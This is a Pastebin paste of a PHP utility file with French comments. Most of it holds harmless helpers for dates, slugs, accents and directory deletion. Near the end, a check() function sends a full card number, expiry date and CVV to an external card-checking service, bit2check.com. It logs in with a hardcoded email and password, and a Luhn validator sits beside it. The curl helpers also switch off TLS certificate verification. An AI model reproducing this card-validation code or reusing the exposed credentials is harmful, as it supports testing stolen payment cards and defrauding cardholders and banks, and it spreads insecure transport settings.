Advertisement
Guest User

Untitled

a guest
Aug 24th, 2019
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.08 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. // page active
  5.  
  6. if(!function_exists('page_active')){
  7. function page_active($file){
  8. $page = array_pop(explode('/',$_SERVER['SCRIPT_NAME']));
  9.  
  10. if($page == $file.'.php'){
  11. return "current";
  12. }else{
  13. return "";
  14. }
  15. }
  16. }
  17.  
  18. // remplace virgule par .
  19.  
  20. if(!function_exists('p_v')){
  21. function p_v($nb){
  22. $n = str_replace('.',',',$nb);
  23. return $n;
  24. }
  25. }
  26.  
  27.  
  28. // remplace date en fr
  29.  
  30. if(!function_exists('date_fr')){
  31. function date_fr($date){
  32. $dc = new DateTime($date);
  33. $dc = $dc->format('d/m/Y');
  34. return $dc;
  35. }
  36. }
  37.  
  38. // remplace date en eng
  39.  
  40. if(!function_exists('date_eng')){
  41. function date_eng($date){
  42. $dc = explode('/',$date);
  43. $ac = $dc[2]; $mc = $dc[1]; $jc = $dc[0];
  44. $dc = $ac.'-'.$mc.'-'.$jc;
  45. return $dc;
  46. }
  47. }
  48.  
  49. // remplace dateTime en fr
  50.  
  51. if(!function_exists('date_time_fr')){
  52. function date_time_fr($date){
  53. $dc = new DateTime($date);
  54. $dc = $dc->format('d/m/Y H:i');
  55. return $dc;
  56. }
  57. }
  58.  
  59. // remplace datetima en eng
  60.  
  61. if(!function_exists('date_time_eng')){
  62. function date_time_eng($date){
  63. $dc = explode('/',$date);
  64. $ac = $dc[2]; $mc = $dc[1]; $jc = $dc[0];
  65. $dh = explode(' ',$ac);
  66. $ac = $dh[0];$dm = $dh[1];
  67. $dc = $ac.'-'.$mc.'-'.$jc.' '.$dm;
  68. return $dc;
  69. }
  70. }
  71.  
  72. // remplace dateTime en fr
  73.  
  74. if(!function_exists('date_hour')){
  75. function date_hour($date){
  76. $dc = new DateTime($date);
  77. $dc = $dc->format('H:i');
  78. return $dc;
  79. }
  80. }
  81.  
  82. if(!function_exists('reduit_text')){
  83. function reduit_text($text, $cut, $end = '...'){
  84. $output = substr($text, 0, $cut);
  85. if(strlen($text) > $cut){
  86. $output = $output . $end;
  87. }
  88.  
  89. return $output ;
  90. }
  91. }
  92.  
  93. /* Remplace caractères accentués d'une chaine */
  94. function remove_accent($str)
  95. {
  96. $a = array('À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð',
  97. 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'ß', 'à', 'á', 'â', 'ã',
  98. 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ñ', 'ò', 'ó', 'ô', 'õ',
  99. 'ö', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'ÿ', 'Ā', 'ā', 'Ă', 'ă', 'Ą', 'ą', 'Ć', 'ć', 'Ĉ',
  100. 'ĉ', 'Ċ', 'ċ', 'Č', 'č', 'Ď', 'ď', 'Đ', 'đ', 'Ē', 'ē', 'Ĕ', 'ĕ', 'Ė', 'ė', 'Ę', 'ę',
  101. 'Ě', 'ě', 'Ĝ', 'ĝ', 'Ğ', 'ğ', 'Ġ', 'ġ', 'Ģ', 'ģ', 'Ĥ', 'ĥ', 'Ħ', 'ħ', 'Ĩ', 'ĩ', 'Ī', 'ī',
  102. 'Ĭ', 'ĭ', 'Į', 'į', 'İ', 'ı', 'IJ', 'ij', 'Ĵ', 'ĵ', 'Ķ', 'ķ', 'Ĺ', 'ĺ', 'Ļ', 'ļ', 'Ľ', 'ľ',
  103. 'Ŀ', 'ŀ', 'Ł', 'ł', 'Ń', 'ń', 'Ņ', 'ņ', 'Ň', 'ň', 'ʼn', 'Ō', 'ō', 'Ŏ', 'ŏ', 'Ő', 'ő', 'Œ',
  104. 'œ', 'Ŕ', 'ŕ', 'Ŗ', 'ŗ', 'Ř', 'ř', 'Ś', 'ś', 'Ŝ', 'ŝ', 'Ş', 'ş', 'Š', 'š', 'Ţ', 'ţ', 'Ť',
  105. 'ť', 'Ŧ', 'ŧ', 'Ũ', 'ũ', 'Ū', 'ū', 'Ŭ', 'ŭ', 'Ů', 'ů', 'Ű', 'ű', 'Ų', 'ų', 'Ŵ', 'ŵ', 'Ŷ',
  106. 'ŷ', 'Ÿ', 'Ź', 'ź', 'Ż', 'ż', 'Ž', 'ž', 'ſ', 'ƒ', 'Ơ', 'ơ', 'Ư', 'ư', 'Ǎ', 'ǎ', 'Ǐ', 'ǐ',
  107. 'Ǒ', 'ǒ', 'Ǔ', 'ǔ', 'Ǖ', 'ǖ', 'Ǘ', 'ǘ', 'Ǚ', 'ǚ', 'Ǜ', 'ǜ', 'Ǻ', 'ǻ', 'Ǽ', 'ǽ', 'Ǿ', 'ǿ');
  108.  
  109. $b = array('A', 'A', 'A', 'A', 'A', 'A', 'AE', 'C', 'E', 'E', 'E', 'E', 'I', 'I', 'I', 'I', 'D', 'N', 'O',
  110. 'O', 'O', 'O', 'O', 'O', 'U', 'U', 'U', 'U', 'Y', 's', 'a', 'a', 'a', 'a', 'a', 'a', 'ae', 'c',
  111. 'e', 'e', 'e', 'e', 'i', 'i', 'i', 'i', 'n', 'o', 'o', 'o', 'o', 'o', 'o', 'u', 'u', 'u', 'u',
  112. 'y', 'y', 'A', 'a', 'A', 'a', 'A', 'a', 'C', 'c', 'C', 'c', 'C', 'c', 'C', 'c', 'D', 'd', 'D',
  113. 'd', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'E', 'e', 'G', 'g', 'G', 'g', 'G', 'g', 'G', 'g',
  114. 'H', 'h', 'H', 'h', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'I', 'i', 'IJ', 'ij', 'J', 'j', 'K',
  115. 'k', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'L', 'l', 'N', 'n', 'N', 'n', 'N', 'n', 'n', 'O', 'o',
  116. 'O', 'o', 'O', 'o', 'OE', 'oe', 'R', 'r', 'R', 'r', 'R', 'r', 'S', 's', 'S', 's', 'S', 's', 'S',
  117. 's', 'T', 't', 'T', 't', 'T', 't', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'W',
  118. 'w', 'Y', 'y', 'Y', 'Z', 'z', 'Z', 'z', 'Z', 'z', 's', 'f', 'O', 'o', 'U', 'u', 'A', 'a', 'I', 'i',
  119. 'O', 'o', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'U', 'u', 'A', 'a', 'AE', 'ae', 'O', 'o');
  120. return str_replace($a, $b, $str);
  121. }
  122.  
  123.  
  124. /* Générateur de Slug (Friendly Url) : convertit un titre en une URL conviviale.*/
  125. function create_slug($str){
  126. return mb_strtolower(preg_replace(array('/[^a-zA-Z0-9 \'-]/', '/[ -\']+/', '/^-|-$/'),
  127. array('', '-', ''),
  128. remove_accent($str)
  129. ));
  130. }
  131.  
  132. if(!function_exists('instant_time')){
  133. function instant_time($myDate){
  134. $today = strtotime(date('Y-m-d H:i:s'));
  135. $date = strtotime($myDate);
  136.  
  137. $inactif_time = $today - $date;
  138. if($inactif_time < 60){
  139. $inactif_time = $inactif_time.' s' ;
  140. }elseif($inactif_time > 59 AND $inactif_time < 3600){
  141. $time = number_format($inactif_time/60,0,'.',' ') ;
  142. $inactif_time = $time.' mins' ;
  143. }elseif($inactif_time > 3599 AND $inactif_time < 86400){
  144. $time = number_format($inactif_time/3600,0,'.',' ') ;
  145. if($time > 1){
  146. $inactif_time = $time.' hrs' ;
  147. }else{
  148. $inactif_time = $time.' hr' ;
  149. }
  150. }elseif($inactif_time > 86399 AND $inactif_time < 1728000){
  151. $time = number_format($inactif_time/86400,0,'.',' ') ;
  152. if($time > 1){
  153. $inactif_time = $time.' jrs' ;
  154. }else{
  155. $inactif_time = $time.' jr' ;
  156. }
  157. }else{
  158. $inactif_time = date_fr($myDate) ;
  159. }
  160.  
  161. return $inactif_time ;
  162.  
  163. }
  164. }
  165.  
  166. if(!function_exists('rmdir_recursive')){
  167. function rmdir_recursive($dir){
  168. //Liste le contenu du répertoire dans un tableau
  169. $dir_content = scandir($dir);
  170. //Est-ce bien un répertoire?
  171. if($dir_content !== FALSE){
  172. //Pour chaque entrée du répertoire
  173. foreach ($dir_content as $entry){
  174. //Raccourcis symboliques sous Unix, on passe
  175. if(!in_array($entry, array('.','..'))){
  176. //On retrouve le chemin par rapport au début
  177. $entry = $dir . '/' . $entry;
  178. //Cette entrée n'est pas un dossier: on l'efface
  179. if(!is_dir($entry)){
  180. unlink($entry);
  181. }
  182. //Cette entrée est un dossier, on recommence sur ce dossier
  183. else{
  184. rmdir_recursive($entry);
  185. }
  186. }
  187. }
  188. }
  189. //On a bien effacé toutes les entrées du dossier, on peut à présent l'effacer
  190. rmdir($dir);
  191. }
  192. }
  193.  
  194. if(!function_exists('verif_username')){
  195. function verif_username($texte){
  196. $evite = array('à','â','ç','è','é','ê','î','ô','ù','û','ü','<','>','/','$','$_POST','==');
  197. $resultat = $texte;
  198. for ($i = 0; $i < count($evite); $i++){
  199. if(stristr($texte, $evite[$i])) {
  200. $resultat = 'non';
  201. break;
  202. }
  203. }
  204. return $resultat ;
  205. }
  206. }
  207. if(!function_exists('curl')){
  208. function curl($url, $var = null) {
  209. $curl = curl_init($url);
  210. curl_setopt($curl, CURLOPT_TIMEOUT, 25);
  211. if ($var != null) {
  212. curl_setopt($curl, CURLOPT_POST, true);
  213. curl_setopt($curl, CURLOPT_POSTFIELDS, $var);
  214. }
  215. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  216. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
  217. curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  218. curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  219. $result = curl_exec($curl);
  220. curl_close($curl);
  221. return $result;
  222. }
  223. }
  224.  
  225. if(!function_exists('checkNumber')){
  226. function checkNumber($number) {
  227. $number=preg_replace('/\D/', '', $number);
  228. $number_length=strlen($number);
  229. $parity=$number_length % 2;
  230. $total=0;
  231. for ($i=0; $i<$number_length; $i++) {
  232. $digit=$number[$i];
  233. if ($i % 2 == $parity) {
  234. $digit*=2;
  235. if ($digit > 9) {
  236. $digit-=9;
  237. }
  238. }
  239. $total+=$digit;
  240. }
  241. return ($total % 10 == 0) ? TRUE : FALSE;
  242. }
  243. }
  244.  
  245. if(!function_exists('get_string_between')){
  246. function get_string_between($string, $start, $end){
  247. $string = ' ' . $string;
  248. $ini = strpos($string, $start);
  249. if ($ini == 0) return '';
  250. $ini += strlen($start);
  251. $len = strpos($string, $end, $ini) - $ini;
  252. return substr($string, $ini, $len);
  253. }
  254. }
  255.  
  256.  
  257. if(!function_exists('sendCurl')){
  258. function sendCurl($url){
  259. $ch = curl_init();
  260. curl_setopt($ch, CURLOPT_URL, $url);
  261. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  262. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  263. return $data = curl_exec($ch);
  264. curl_close($ch);
  265. }
  266. }
  267.  
  268.  
  269. if(!function_exists('check')){
  270. function check($ccnum, $ccm, $ccy, $cvv){
  271. $user = 'money.buzz2017@outlook.com';
  272. $pwd = 'Golden2050';
  273. $gate = 'cvv';
  274.  
  275. $url = 'https://www.bit2check.com/api/v1/api.php?user='.$user.'&pass='.$pwd.'&gateway='.$gate.'&cc='.$ccnum.'|'.$ccm.'|'.$ccy.'|'.$cvv;
  276.  
  277. $result = sendCurl($url);
  278. return $result;
  279. }
  280. }
  281.  
  282. if(!function_exists('verif_text')){
  283. function verif_text($texte){
  284. $evite = array('<','>','/','{','}','[',']','echo','$','$_POST','==');
  285. $resultat = $texte;
  286. for ($i = 0; $i < count($evite); $i++){
  287. if(stristr($texte, $evite[$i])) {
  288. $resultat = 'non';
  289. break;
  290. }
  291. }
  292. return $resultat ;
  293. }
  294. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement